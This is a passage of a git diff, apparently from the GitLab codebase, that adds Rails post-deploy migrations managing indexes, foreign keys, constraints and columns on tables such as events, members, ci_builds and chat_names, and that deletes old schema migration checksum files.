+ columns.each do |column_name| # rubocop:disable Migration/WithLockRetriesDisallowedMethod
+ change_column_default(table_name, column_name, from: from, to: to)
+ end
+ end
+ end
+ end
+
+ def default_value_for(table_name, column_name)
+ connection
+ .columns(table_name)
+ .find { |column| column.name == column_name.to_s }
+ .default&.to_i
+ end
+end
diff --git a/db/post_migrate/20221221110733_remove_temp_index_for_project_statistics_upload_size_migration.rb b/db/post_migrate/20221221110733_remove_temp_index_for_project_statistics_upload_size_migration.rb
new file mode 100644
index 00000000000..1df6ad274f9
--- /dev/null
+++ b/db/post_migrate/20221221110733_remove_temp_index_for_project_statistics_upload_size_migration.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+class RemoveTempIndexForProjectStatisticsUploadSizeMigration < Gitlab::Database::Migration[2.1]
+ INDEX_NAME = 'tmp_index_project_statistics_uploads_size'
+ TABLE_NAME = 'project_statistics'
+ disable_ddl_transaction!
+
+ def up
+ remove_concurrent_index_by_name :project_statistics, INDEX_NAME
+ end
+
+ def down
+ add_concurrent_index :project_statistics, [:project_id],
+ name: INDEX_NAME,
+ where: "uploads_size <> 0"
+ end
+end
diff --git a/db/post_migrate/20221221150123_update_billable_users_index.rb b/db/post_migrate/20221221150123_update_billable_users_index.rb
new file mode 100644
index 00000000000..d2f55e06b0b
--- /dev/null
+++ b/db/post_migrate/20221221150123_update_billable_users_index.rb
@@ -0,0 +1,27 @@
+# frozen_string_literal: true
+
+class UpdateBillableUsersIndex < Gitlab::Database::Migration[2.1]
+ disable_ddl_transaction!
+
+ NEW_INDEX = 'index_users_for_billable_users'
+ OLD_INDEX = 'index_users_for_active_billable'
+
+ OLD_INDEX_CONDITION = <<~QUERY
+ ((state)::text = 'active'::text) AND ((user_type IS NULL)
+ OR (user_type = ANY (ARRAY[NULL::integer, 6, 4]))) AND ((user_type IS NULL)
+ OR (user_type <> ALL ('{1,2,3,4,5,6,7,8,9,11}'::smallint[])))
+ QUERY
+ NEW_INDEX_CONDITION = <<~QUERY
+ state = 'active' AND (user_type IS NULL OR user_type IN (6, 4)) AND (user_type IS NULL OR user_type IN (4, 5))
+ QUERY
+
+ def up
+ add_concurrent_index(:users, :id, where: NEW_INDEX_CONDITION, name: NEW_INDEX)
+ remove_concurrent_index_by_name(:users, OLD_INDEX)
+ end
+
+ def down
+ add_concurrent_index(:users, :id, where: OLD_INDEX_CONDITION, name: OLD_INDEX)
+ remove_concurrent_index_by_name(:users, NEW_INDEX)
+ end
+end
diff --git a/db/post_migrate/20221222092958_sync_new_amount_used_with_amount_used.rb b/db/post_migrate/20221222092958_sync_new_amount_used_with_amount_used.rb
new file mode 100644
index 00000000000..9d8e2ee54d6
--- /dev/null
+++ b/db/post_migrate/20221222092958_sync_new_amount_used_with_amount_used.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+class SyncNewAmountUsedWithAmountUsed < Gitlab::Database::Migration[2.1]
+ restrict_gitlab_migration gitlab_schema: :gitlab_ci
+
+ def up
+ # This migration will only run on rollback, there is no need for the positive case
+ end
+
+ def down
+ project_usages = define_batchable_model('ci_project_monthly_usages')
+
+ project_usages.each_batch(of: 500) do |batch|
+ batch.where('amount_used > 0').update_all('new_amount_used = amount_used')
+ end
+ end
+end
diff --git a/db/post_migrate/20221223123019_delete_queued_jobs_for_vulnerabilities_feedback_migration.rb b/db/post_migrate/20221223123019_delete_queued_jobs_for_vulnerabilities_feedback_migration.rb
new file mode 100644
index 00000000000..e5822d2d7a2
--- /dev/null
+++ b/db/post_migrate/20221223123019_delete_queued_jobs_for_vulnerabilities_feedback_migration.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+class DeleteQueuedJobsForVulnerabilitiesFeedbackMigration < Gitlab::Database::Migration[2.1]
+ MIGRATION = 'MigrateVulnerabilitiesFeedbackToVulnerabilitiesStateTransition'
+ TABLE_NAME = :vulnerability_feedback
+ BATCH_COLUMN = :id
+
+ disable_ddl_transaction!
+ restrict_gitlab_migration gitlab_schema: :gitlab_main
+
+ def up
+ delete_batched_background_migration(
+ MIGRATION,
+ TABLE_NAME,
+ BATCH_COLUMN,
+ []
+ )
+ end
+
+ def down
+ # no-op
+ end
+end
diff --git a/db/post_migrate/20221226153240_remove_chat_names_integration_id_foreign_key.rb b/db/post_migrate/20221226153240_remove_chat_names_integration_id_foreign_key.rb
new file mode 100644
index 00000000000..51baa9c9f57
--- /dev/null
+++ b/db/post_migrate/20221226153240_remove_chat_names_integration_id_foreign_key.rb
@@ -0,0 +1,27 @@
+# frozen_string_literal: true
+
+class RemoveChatNamesIntegrationIdForeignKey < Gitlab::Database::Migration[2.1]
+ disable_ddl_transaction!
+
+ SOURCE_TABLE_NAME = :chat_names
+ TARGET_TABLE_NAME = :integrations
+ COLUMN = :integration_id
+ TARGET_COLUMN = :id
+ FK_NAME = :fk_99a1348daf
+
+ def up
+ with_lock_retries do
+ remove_foreign_key_if_exists(SOURCE_TABLE_NAME, name: FK_NAME)
+ end
+ end
+
+ def down
+ add_concurrent_foreign_key(
+ SOURCE_TABLE_NAME,
+ TARGET_TABLE_NAME,
+ column: COLUMN,
+ name: FK_NAME,
+ on_delete: :cascade
+ )
+ end
+end
diff --git a/db/post_migrate/20221226154458_drop_index_on_chat_names_on_integration_id_and_team_id_and_chat_id.rb b/db/post_migrate/20221226154458_drop_index_on_chat_names_on_integration_id_and_team_id_and_chat_id.rb
new file mode 100644
index 00000000000..d5aeb704983
--- /dev/null
+++ b/db/post_migrate/20221226154458_drop_index_on_chat_names_on_integration_id_and_team_id_and_chat_id.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+class DropIndexOnChatNamesOnIntegrationIdAndTeamIdAndChatId < Gitlab::Database::Migration[2.1]
+ disable_ddl_transaction!
+
+ INDEX_NAME = 'index_chat_names_on_integration_id_and_team_id_and_chat_id'
+
+ def up
+ remove_concurrent_index_by_name(:chat_names, INDEX_NAME)
+ end
+
+ def down
+ add_concurrent_index(:chat_names, [:integration_id, :team_id, :chat_id], name: INDEX_NAME, unique: true)
+ end
+end
diff --git a/db/post_migrate/20221227100751_add_user_index_to_chat_names.rb b/db/post_migrate/20221227100751_add_user_index_to_chat_names.rb
new file mode 100644
index 00000000000..7be671b2cbd
--- /dev/null
+++ b/db/post_migrate/20221227100751_add_user_index_to_chat_names.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+class AddUserIndexToChatNames < Gitlab::Database::Migration[2.1]
+ disable_ddl_transaction!
+
+ INDEX_NAME = 'index_chat_names_on_user_id'
+
+ def up
+ add_concurrent_index(:chat_names, :user_id, name: INDEX_NAME)
+ end
+
+ def down
+ remove_concurrent_index_by_name(:chat_names, name: INDEX_NAME)
+ end
+end
diff --git a/db/post_migrate/20221227101436_drop_index_on_chat_names_on_user_id_and_integration_id.rb b/db/post_migrate/20221227101436_drop_index_on_chat_names_on_user_id_and_integration_id.rb
new file mode 100644
index 00000000000..ab2842ea775
--- /dev/null
+++ b/db/post_migrate/20221227101436_drop_index_on_chat_names_on_user_id_and_integration_id.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+class DropIndexOnChatNamesOnUserIdAndIntegrationId < Gitlab::Database::Migration[2.1]
+ disable_ddl_transaction!
+
+ INDEX_NAME = 'index_chat_names_on_user_id_and_integration_id'
+
+ def up
+ remove_concurrent_index_by_name(:chat_names, INDEX_NAME)
+ end
+
+ def down
+ add_concurrent_index(:chat_names, [:user_id, :integration_id], name: INDEX_NAME, unique: true)
+ end
+end
diff --git a/db/post_migrate/20221228103133_queue_backfill_admin_mode_scope_for_personal_access_tokens.rb b/db/post_migrate/20221228103133_queue_backfill_admin_mode_scope_for_personal_access_tokens.rb
new file mode 100644
index 00000000000..c111d5090e1
--- /dev/null
+++ b/db/post_migrate/20221228103133_queue_backfill_admin_mode_scope_for_personal_access_tokens.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+class QueueBackfillAdminModeScopeForPersonalAccessTokens < Gitlab::Database::Migration[2.1]
+ MIGRATION = 'BackfillAdminModeScopeForPersonalAccessTokens'
+ DELAY_INTERVAL = 2.minutes
+
+ restrict_gitlab_migration gitlab_schema: :gitlab_main
+
+ def up
+ queue_batched_background_migration(
+ MIGRATION,
+ :personal_access_tokens,
+ :id,
+ job_interval: DELAY_INTERVAL
+ )
+ end
+
+ def down
+ delete_batched_background_migration(MIGRATION, :personal_access_tokens, :id, [])
+ end
+end
diff --git a/db/post_migrate/20221228163035_cleanup_appearances_short_title_rename.rb b/db/post_migrate/20221228163035_cleanup_appearances_short_title_rename.rb
new file mode 100644
index 00000000000..300d53f227a
--- /dev/null
+++ b/db/post_migrate/20221228163035_cleanup_appearances_short_title_rename.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+class CleanupAppearancesShortTitleRename < Gitlab::Database::Migration[2.1]
+ disable_ddl_transaction!
+
+ def up
+ cleanup_concurrent_column_rename :appearances, :short_title, :pwa_short_name
+ end
+
+ def down
+ undo_cleanup_concurrent_column_rename :appearances, :short_title, :pwa_short_name
+ end
+end
diff --git a/db/post_migrate/20221228210616_add_index_on_ci_runners_on_runner_type_and_id.rb b/db/post_migrate/20221228210616_add_index_on_ci_runners_on_runner_type_and_id.rb
new file mode 100644
index 00000000000..62c40b78945
--- /dev/null
+++ b/db/post_migrate/20221228210616_add_index_on_ci_runners_on_runner_type_and_id.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+class AddIndexOnCiRunnersOnRunnerTypeAndId < Gitlab::Database::Migration[2.1]
+ disable_ddl_transaction!
+
+ OLD_INDEX_NAME = 'index_ci_runners_on_runner_type'
+ NEW_INDEX_NAME = 'index_ci_runners_on_runner_type_and_id'
+
+ def up
+ add_concurrent_index :ci_runners, [:runner_type, :id], name: NEW_INDEX_NAME
+ remove_concurrent_index_by_name :ci_runners, OLD_INDEX_NAME
+ end
+
+ def down
+ add_concurrent_index :ci_runners, :runner_type, name: OLD_INDEX_NAME
+ remove_concurrent_index_by_name :ci_runners, NEW_INDEX_NAME
+ end
+end
diff --git a/db/post_migrate/20230104103748_remove_new_amount_used_column.rb b/db/post_migrate/20230104103748_remove_new_amount_used_column.rb
new file mode 100644
index 00000000000..0aaa7c1bd8f
--- /dev/null
+++ b/db/post_migrate/20230104103748_remove_new_amount_used_column.rb
@@ -0,0 +1,20 @@
+# frozen_string_literal: true
+
+class RemoveNewAmountUsedColumn < Gitlab::Database::Migration[2.1]
+ TRIGGER_NAME = 'sync_projects_amount_used_columns'
+ def up
+ remove_rename_triggers :ci_project_monthly_usages, TRIGGER_NAME
+ remove_column :ci_project_monthly_usages, :new_amount_used
+ end
+
+ def down
+ return if column_exists?(:ci_project_monthly_usages, :new_amount_used)
+
+ # rubocop:disable Migration/SchemaAdditionMethodsNoPost, Migration/AddColumnsToWideTables
+ add_column :ci_project_monthly_usages, :new_amount_used, :decimal, default: 0.0,
+ precision: 18, scale: 2, null: false
+ # rubocop:enable Migration/SchemaAdditionMethodsNoPost, Migration/AddColumnsToWideTables
+
+ install_rename_triggers :ci_project_monthly_usages, :amount_used, :new_amount_used, trigger_name: TRIGGER_NAME
+ end
+end
diff --git a/db/post_migrate/20230104150601_prepare_builds_metadata_async_idx.rb b/db/post_migrate/20230104150601_prepare_builds_metadata_async_idx.rb
new file mode 100644
index 00000000000..83dfe62ad71
--- /dev/null
+++ b/db/post_migrate/20230104150601_prepare_builds_metadata_async_idx.rb
@@ -0,0 +1,36 @@
+# frozen_string_literal: true
+
+class PrepareBuildsMetadataAsyncIdx < Gitlab::Database::Migration[2.1]
+ include Gitlab::Database::PartitioningMigrationHelpers
+
+ disable_ddl_transaction!
+
+ INDEX_NAME = 'p_ci_builds_metadata_on_runner_machine_id_idx'
+
+ def up
+ # Break up the logic from add_concurrent_partitioned_index so that the partition indices can be created async
+ # A follow-up migration will complete the index creation by creating the index on the metadata table, and
+ # creating the concurrent foreign key
+ each_partition(:p_ci_builds_metadata) do |partition, partition_index_name|
+ prepare_async_index(partition.identifier, :runner_machine_id,
+ name: partition_index_name, where: 'runner_machine_id IS NOT NULL')
+ end
+ end
+
+ def down
+ each_partition(:p_ci_builds_metadata) do |partition, partition_index_name|
+ unprepare_async_index_by_name(partition.identifier, partition_index_name)
+ end
+ end
+
+ private
+
+ def each_partition(table_name)
+ partitioned_table = find_partitioned_table(table_name)
+ partitioned_table.postgres_partitions.order(:name).each do |partition|
+ partition_index_name = generated_index_name(partition.identifier, INDEX_NAME)
+
+ yield partition, partition_index_name
+ end
+ end
+end
diff --git a/db/post_migrate/20230104220137_reindex_vuln_reads_on_default_branch_with_common_query.rb b/db/post_migrate/20230104220137_reindex_vuln_reads_on_default_branch_with_common_query.rb
new file mode 100644
index 00000000000..114a1a84fa0
--- /dev/null
+++ b/db/post_migrate/20230104220137_reindex_vuln_reads_on_default_branch_with_common_query.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+class ReindexVulnReadsOnDefaultBranchWithCommonQuery < Gitlab::Database::Migration[2.1]
+ INDEX_NAME = 'index_vuln_reads_common_query_on_resolved_on_default_branch'
+
+ COLUMNS = %i[project_id state report_type vulnerability_id]
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_index(
+ :vulnerability_reads,
+ COLUMNS,
+ name: INDEX_NAME,
+ where: 'resolved_on_default_branch IS TRUE',
+ order: { vulnerability_id: :desc }
+ )
+ end
+
+ def down
+ remove_concurrent_index_by_name(
+ :vulnerability_reads,
+ INDEX_NAME
+ )
+ end
+end
diff --git a/db/post_migrate/20230104224020_drop_vuln_reads_on_default_branch_index.rb b/db/post_migrate/20230104224020_drop_vuln_reads_on_default_branch_index.rb
new file mode 100644
index 00000000000..acac69478a3
--- /dev/null
+++ b/db/post_migrate/20230104224020_drop_vuln_reads_on_default_branch_index.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+class DropVulnReadsOnDefaultBranchIndex < Gitlab::Database::Migration[2.1]
+ INDEX_NAME = 'index_vuln_reads_on_resolved_on_default_branch'
+
+ COLUMNS = %i[project_id state id]
+
+ disable_ddl_transaction!
+
+ def up
+ remove_concurrent_index_by_name :vulnerability_reads, name: INDEX_NAME
+ end
+
+ def down
+ add_concurrent_index :vulnerability_reads, COLUMNS,
+ where: 'resolved_on_default_branch IS TRUE',
+ name: INDEX_NAME
+ end
+end
diff --git a/db/post_migrate/20230105172120_sync_new_amount_used_with_amount_used_on_ci_namespace_monthly_usages_table.rb b/db/post_migrate/20230105172120_sync_new_amount_used_with_amount_used_on_ci_namespace_monthly_usages_table.rb
new file mode 100644
index 00000000000..4181d6a0f92
--- /dev/null
+++ b/db/post_migrate/20230105172120_sync_new_amount_used_with_amount_used_on_ci_namespace_monthly_usages_table.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+class SyncNewAmountUsedWithAmountUsedOnCiNamespaceMonthlyUsagesTable < Gitlab::Database::Migration[2.1]
+ disable_ddl_transaction!
+
+ restrict_gitlab_migration gitlab_schema: :gitlab_ci
+
+ def up
+ # This migration will only run on rollback, there is no need for the positive case
+ end
+
+ def down
+ project_usages = define_batchable_model('ci_namespace_monthly_usages')
+
+ project_usages.each_batch(of: 500) do |batch|
+ batch.where('amount_used > 0').update_all('new_amount_used = amount_used')
+ end
+ end
+end
diff --git a/db/post_migrate/20230105180002_remove_new_amount_used_column_on_ci_namespace_monthly_usages.rb b/db/post_migrate/20230105180002_remove_new_amount_used_column_on_ci_namespace_monthly_usages.rb
new file mode 100644
index 00000000000..cebda3e353e
--- /dev/null
+++ b/db/post_migrate/20230105180002_remove_new_amount_used_column_on_ci_namespace_monthly_usages.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+class RemoveNewAmountUsedColumnOnCiNamespaceMonthlyUsages < Gitlab::Database::Migration[2.1]
+ enable_lock_retries!
+
+ TRIGGER_NAME = 'sync_namespaces_amount_used_columns'
+ def up
+ remove_rename_triggers :ci_namespace_monthly_usages, TRIGGER_NAME
+ remove_column :ci_namespace_monthly_usages, :new_amount_used
+ end
+
+ def down
+ return if column_exists?(:ci_namespace_monthly_usages, :new_amount_used)
+
+ # rubocop:disable Migration/SchemaAdditionMethodsNoPost, Migration/AddColumnsToWideTables
+ add_column :ci_namespace_monthly_usages, :new_amount_used, :decimal, default: 0.0,
+ precision: 18, scale: 2, null: false
+ # rubocop:enable Migration/SchemaAdditionMethodsNoPost, Migration/AddColumnsToWideTables
+
+ install_rename_triggers :ci_namespace_monthly_usages, :amount_used, :new_amount_used, trigger_name: TRIGGER_NAME
+ end
+end
diff --git a/db/post_migrate/20230106124332_change_keys_relation_to_ssh_signatures.rb b/db/post_migrate/20230106124332_change_keys_relation_to_ssh_signatures.rb
new file mode 100644
index 00000000000..e76a3617ba3
--- /dev/null
+++ b/db/post_migrate/20230106124332_change_keys_relation_to_ssh_signatures.rb
@@ -0,0 +1,41 @@
+# frozen_string_literal: true
+
+class ChangeKeysRelationToSshSignatures < Gitlab::Database::Migration[2.1]
+ disable_ddl_transaction!
+
+ TARGET_COLUMN = :key_id
+
+ def up
+ add_concurrent_foreign_key(
+ :ssh_signatures,
+ :keys,
+ column: :key_id,
+ name: fk_name("#{TARGET_COLUMN}_nullify"),
+ on_delete: :nullify
+ )
+
+ with_lock_retries do
+ remove_foreign_key_if_exists(:ssh_signatures, column: TARGET_COLUMN, name: fk_name(TARGET_COLUMN))
+ end
+ end
+
+ def down
+ add_concurrent_foreign_key(
+ :ssh_signatures,
+ :keys,
+ column: :key_id,
+ name: fk_name(TARGET_COLUMN),
+ on_delete: :cascade
+ )
+
+ with_lock_retries do
+ remove_foreign_key_if_exists(:ssh_signatures, column: TARGET_COLUMN, name: fk_name("#{TARGET_COLUMN}_nullify"))
+ end
+ end
+
+ private
+
+ def fk_name(column_name)
+ concurrent_foreign_key_name(:ssh_signatures, column_name)
+ end
+end
diff --git a/db/post_migrate/20230110172751_add_partial_index_on_group_path_id.rb b/db/post_migrate/20230110172751_add_partial_index_on_group_path_id.rb
new file mode 100644
index 00000000000..c04b71835a2
--- /dev/null
+++ b/db/post_migrate/20230110172751_add_partial_index_on_group_path_id.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+class AddPartialIndexOnGroupPathId < Gitlab::Database::Migration[2.1]
+ disable_ddl_transaction!
+
+ INDEX_NAME = :index_groups_on_path_and_id
+
+ def up
+ add_concurrent_index :namespaces, [:path, :id], where: "type = 'Group'", name: INDEX_NAME
+ end
+
+ def down
+ remove_concurrent_index_by_name :namespaces, INDEX_NAME
+ end
+end
diff --git a/db/post_migrate/20230111125148_add_user_id_and_source_id_and_source_type_and_member_role_id_index_to_members.rb b/db/post_migrate/20230111125148_add_user_id_and_source_id_and_source_type_and_member_role_id_index_to_members.rb
new file mode 100644
index 00000000000..82e2ea8bf29
--- /dev/null
+++ b/db/post_migrate/20230111125148_add_user_id_and_source_id_and_source_type_and_member_role_id_index_to_members.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+class AddUserIdAndSourceIdAndSourceTypeAndMemberRoleIdIndexToMembers < Gitlab::Database::Migration[2.1]
+ disable_ddl_transaction!
+
+ INDEX_NAME = 'idx_members_on_user_and_source_and_source_type_and_member_role'
+
+ def up
+ add_concurrent_index :members, [:user_id, :source_id, :source_type, :member_role_id], name: INDEX_NAME
+ end
+
+ def down
+ remove_concurrent_index_by_name :members, name: INDEX_NAME
+ end
+end
diff --git a/db/post_migrate/20230111125150_drop_user_id_and_source_id_and_source_type_index_from_members.rb b/db/post_migrate/20230111125150_drop_user_id_and_source_id_and_source_type_index_from_members.rb
new file mode 100644
index 00000000000..c1c56a4073c
--- /dev/null
+++ b/db/post_migrate/20230111125150_drop_user_id_and_source_id_and_source_type_index_from_members.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+class DropUserIdAndSourceIdAndSourceTypeIndexFromMembers < Gitlab::Database::Migration[2.1]
+ disable_ddl_transaction!
+
+ INDEX_NAME = 'index_members_on_user_id_source_id_source_type'
+
+ def up
+ remove_concurrent_index_by_name :members, name: INDEX_NAME
+ end
+
+ def down
+ add_concurrent_index :members, [:user_id, :source_id, :source_type], name: INDEX_NAME
+ end
+end
diff --git a/db/post_migrate/20230112085143_add_index_environments_on_project_id_and_id.rb b/db/post_migrate/20230112085143_add_index_environments_on_project_id_and_id.rb
new file mode 100644
index 00000000000..bfb85557714
--- /dev/null
+++ b/db/post_migrate/20230112085143_add_index_environments_on_project_id_and_id.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+class AddIndexEnvironmentsOnProjectIdAndId < Gitlab::Database::Migration[2.1]
+ disable_ddl_transaction!
+
+ INDEX_NAME = 'index_environments_on_project_id_and_id'
+
+ def up
+ add_concurrent_index :environments, %i[project_id id], name: INDEX_NAME
+ end
+
+ def down
+ remove_concurrent_index_by_name :environments, INDEX_NAME
+ end
+end
diff --git a/db/post_migrate/20230113003255_remove_atlassian_refresh_token_constraint.rb b/db/post_migrate/20230113003255_remove_atlassian_refresh_token_constraint.rb
new file mode 100644
index 00000000000..81c3f10c0f6
--- /dev/null
+++ b/db/post_migrate/20230113003255_remove_atlassian_refresh_token_constraint.rb
@@ -0,0 +1,20 @@
+# frozen_string_literal: true
+
+# See https://docs.gitlab.com/ee/development/migration_style_guide.html
+# for more information on how to write migrations for GitLab.
+
+class RemoveAtlassianRefreshTokenConstraint < Gitlab::Database::Migration[2.1]
+ CONSTRAINT_NAME = 'atlassian_identities_refresh_token_length_constraint'
+
+ disable_ddl_transaction!
+
+ def up
+ remove_check_constraint(:atlassian_identities, CONSTRAINT_NAME)
+ add_check_constraint :atlassian_identities, 'octet_length(encrypted_refresh_token) <= 5000', CONSTRAINT_NAME
+ end
+
+ def down
+ remove_check_constraint(:atlassian_identities, CONSTRAINT_NAME)
+ add_check_constraint :atlassian_identities, 'octet_length(encrypted_refresh_token) <= 512', CONSTRAINT_NAME
+ end
+end
diff --git a/db/post_migrate/20230116083826_drop_index_on_ci_build_token_encrypted.rb b/db/post_migrate/20230116083826_drop_index_on_ci_build_token_encrypted.rb
new file mode 100644
index 00000000000..429388b1742
--- /dev/null
+++ b/db/post_migrate/20230116083826_drop_index_on_ci_build_token_encrypted.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+class DropIndexOnCiBuildTokenEncrypted < Gitlab::Database::Migration[2.1]
+ disable_ddl_transaction!
+
+ TABLE_NAME = :ci_builds
+ INDEX_NAME = :index_ci_builds_on_token_encrypted_partition_id_unique
+ COLUMNS = %i[token_encrypted partition_id].freeze
+
+ def up
+ remove_concurrent_index_by_name(TABLE_NAME, INDEX_NAME)
+ end
+
+ def down
+ add_concurrent_index(TABLE_NAME, COLUMNS, unique: true, where: 'token_encrypted IS NOT NULL', name: INDEX_NAME)
+ end
+end
diff --git a/db/post_migrate/20230116090630_add_index_for_group_activity_events.rb b/db/post_migrate/20230116090630_add_index_for_group_activity_events.rb
new file mode 100644
index 00000000000..a775a471f98
--- /dev/null
+++ b/db/post_migrate/20230116090630_add_index_for_group_activity_events.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+class AddIndexForGroupActivityEvents < Gitlab::Database::Migration[2.1]
+ disable_ddl_transaction!
+
+ INDEX_NAME = 'index_events_for_group_activity'
+
+ def up
+ add_concurrent_index :events, %i[group_id target_type action id], name: INDEX_NAME, where: 'group_id IS NOT NULL'
+ end
+
+ def down
+ remove_concurrent_index_by_name :events, INDEX_NAME
+ end
+end
diff --git a/db/post_migrate/20230116090852_add_index_for_project_activity_events.rb b/db/post_migrate/20230116090852_add_index_for_project_activity_events.rb
new file mode 100644
index 00000000000..f0d757ad885
--- /dev/null
+++ b/db/post_migrate/20230116090852_add_index_for_project_activity_events.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+class AddIndexForProjectActivityEvents < Gitlab::Database::Migration[2.1]
+ disable_ddl_transaction!
+
+ INDEX_NAME = 'index_events_for_project_activity'
+
+ def up
+ add_concurrent_index :events, %i[project_id target_type action id], name: INDEX_NAME
+ end
+
+ def down
+ remove_concurrent_index_by_name :events, INDEX_NAME
+ end
+end
diff --git a/db/post_migrate/20230116090920_add_index_to_events_on_group_id_and_id.rb b/db/post_migrate/20230116090920_add_index_to_events_on_group_id_and_id.rb
new file mode 100644
index 00000000000..4c2a9af7df9
--- /dev/null
+++ b/db/post_migrate/20230116090920_add_index_to_events_on_group_id_and_id.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+class AddIndexToEventsOnGroupIdAndId < Gitlab::Database::Migration[2.1]
+ disable_ddl_transaction!
+
+ INDEX_NAME = 'index_events_on_group_id_and_id'
+
+ def up
+ add_concurrent_index :events, %i[group_id id], name: INDEX_NAME, where: 'group_id IS NOT NULL'
+ end
+
+ def down
+ remove_concurrent_index_by_name :events, INDEX_NAME
+ end
+end
diff --git a/db/post_migrate/20230116091626_add_index_for_events_followed_users.rb b/db/post_migrate/20230116091626_add_index_for_events_followed_users.rb
new file mode 100644
index 00000000000..24358814521
--- /dev/null
+++ b/db/post_migrate/20230116091626_add_index_for_events_followed_users.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+class AddIndexForEventsFollowedUsers < Gitlab::Database::Migration[2.1]
+ disable_ddl_transaction!
+
+ INDEX_NAME = 'index_events_for_followed_users'
+
+ def up
+ add_concurrent_index :events, %I[author_id target_type action id], name: INDEX_NAME
+ end
+
+ def down
+ remove_concurrent_index_by_name :events, INDEX_NAME
+ end
+end
diff --git a/db/post_migrate/20230116111252_finalize_todo_sanitization.rb b/db/post_migrate/20230116111252_finalize_todo_sanitization.rb
new file mode 100644
index 00000000000..b3da479aa57
--- /dev/null
+++ b/db/post_migrate/20230116111252_finalize_todo_sanitization.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+class FinalizeTodoSanitization < Gitlab::Database::Migration[2.1]
+ MIGRATION = 'SanitizeConfidentialTodos'
+ disable_ddl_transaction!
+
+ restrict_gitlab_migration gitlab_schema: :gitlab_main
+
+ def up
+ ensure_batched_background_migration_is_finished(
+ job_class_name: MIGRATION,
+ table_name: :notes,
+ column_name: :id,
+ job_arguments: [],
+ finalize: true
+ )
+ end
+
+ def down
+ # no-op
+ end
+end
diff --git a/db/post_migrate/20230117113719_add_tmp_index_to_ci_sources_pipelines_on_partition_id.rb b/db/post_migrate/20230117113719_add_tmp_index_to_ci_sources_pipelines_on_partition_id.rb
new file mode 100644
index 00000000000..28c722893bc
--- /dev/null
+++ b/db/post_migrate/20230117113719_add_tmp_index_to_ci_sources_pipelines_on_partition_id.rb
@@ -0,0 +1,29 @@
+# frozen_string_literal: true
+
+class AddTmpIndexToCiSourcesPipelinesOnPartitionId < Gitlab::Database::Migration[2.1]
+ disable_ddl_transaction!
+
+ INDEX_NAME = :tmp_index_ci_sources_pipelines_on_partition_id_and_id
+ SOURCE_INDEX_NAME = :tmp_index_ci_sources_pipelines_on_source_partition_id_and_id
+ TABLE_NAME = :ci_sources_pipelines
+
+ def up
+ return unless Gitlab.com?
+
+ add_concurrent_index TABLE_NAME,
+ [:partition_id, :id],
+ name: INDEX_NAME, where: 'partition_id = 101'
+
+ add_concurrent_index TABLE_NAME,
+ [:source_partition_id, :id],
+ name: SOURCE_INDEX_NAME,
+ where: 'source_partition_id = 101'
+ end
+
+ def down
+ return unless Gitlab.com?
+
+ remove_concurrent_index_by_name TABLE_NAME, INDEX_NAME
+ remove_concurrent_index_by_name TABLE_NAME, SOURCE_INDEX_NAME
+ end
+end
diff --git a/db/post_migrate/20230117145628_add_token_encrypted_and_partition_id_index_to_ci_build.rb b/db/post_migrate/20230117145628_add_token_encrypted_and_partition_id_index_to_ci_build.rb
new file mode 100644
index 00000000000..ffcf56dd2ca
--- /dev/null
+++ b/db/post_migrate/20230117145628_add_token_encrypted_and_partition_id_index_to_ci_build.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+class AddTokenEncryptedAndPartitionIdIndexToCiBuild < Gitlab::Database::Migration[2.1]
+ disable_ddl_transaction!
+
+ TABLE_NAME = :ci_builds
+ INDEX_NAME = :unique_ci_builds_token_encrypted_and_partition_id
+ COLUMNS = %i[token_encrypted partition_id].freeze
+
+ def up
+ add_concurrent_index(TABLE_NAME, COLUMNS, unique: true, where: 'token_encrypted IS NOT NULL', name: INDEX_NAME)
+ end
+
+ def down
+ remove_concurrent_index_by_name(TABLE_NAME, INDEX_NAME)
+ end
+end
diff --git a/db/schema_migrations/20210301200959 b/db/schema_migrations/20210301200959
deleted file mode 100644
index 8c5efabd76d..00000000000
--- a/db/schema_migrations/20210301200959
+++ /dev/null
@@ -1 +0,0 @@
-28b90c9b7c2e4f2e2b12088f5aee85c16dfb567f89ed6a8e771f2c5d91c818d9 \ No newline at end of file
diff --git a/db/schema_migrations/20210302025305 b/db/schema_migrations/20210302025305
deleted file mode 100644
index 935006818be..00000000000
--- a/db/schema_migrations/20210302025305
+++ /dev/null
@@ -1 +0,0 @@
-bf47b1c4840c97459f99308d9de04644d18c301659ef5f021088911155d2c624 \ No newline at end of file
diff --git a/db/schema_migrations/20210302074524 b/db/schema_migrations/20210302074524
deleted file mode 100644
index be35539d1f0..00000000000
--- a/db/schema_migrations/20210302074524
+++ /dev/null
@@ -1 +0,0 @@
-251c0d811eee00f78e62f4d1e7f2893b2137fbf8121cefc4283c3217677b5447 \ No newline at end of file
diff --git a/db/schema_migrations/20210302103851 b/db/schema_migrations/20210302103851
deleted file mode 100644
index cd166f974a9..00000000000
--- a/db/schema_migrations/20210302103851
+++ /dev/null
@@ -1 +0,0 @@
